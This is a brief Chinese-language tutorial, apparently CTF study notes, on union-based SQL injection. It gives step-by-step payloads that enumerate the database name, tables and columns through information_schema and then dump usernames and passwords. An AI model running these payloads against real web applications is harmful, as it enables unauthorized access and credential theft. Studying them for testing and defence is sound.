1.爆库名
使用order by判断回显后(假设回显结果为2),使用
id=1 union select database(),version() //假设类型为数字型的注入
order by原理:会对列排序,当我们输入的列数超过实际拥有的列数,就会提示该列不存在
2.爆表名
假设需要查看的数据库为flag
id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema='flag'
3.爆列名
假设flag数据库里有users表,查看users表
id=1 union select group_concat(column_name),2 from information_schema.columns where table_schema='flag' and table_name='users'
4.查看列的值
假设users表里有username,password两个字段
id=1 union select group_concat(username),group_concat(password) from users
//group_concat()功能:通常与 GROUP BY 子句一起使用,以便对每个组进行操作。但是,如果您不使用 GROUP BY 子句,将返回整个表中所有行的值连接成的字符串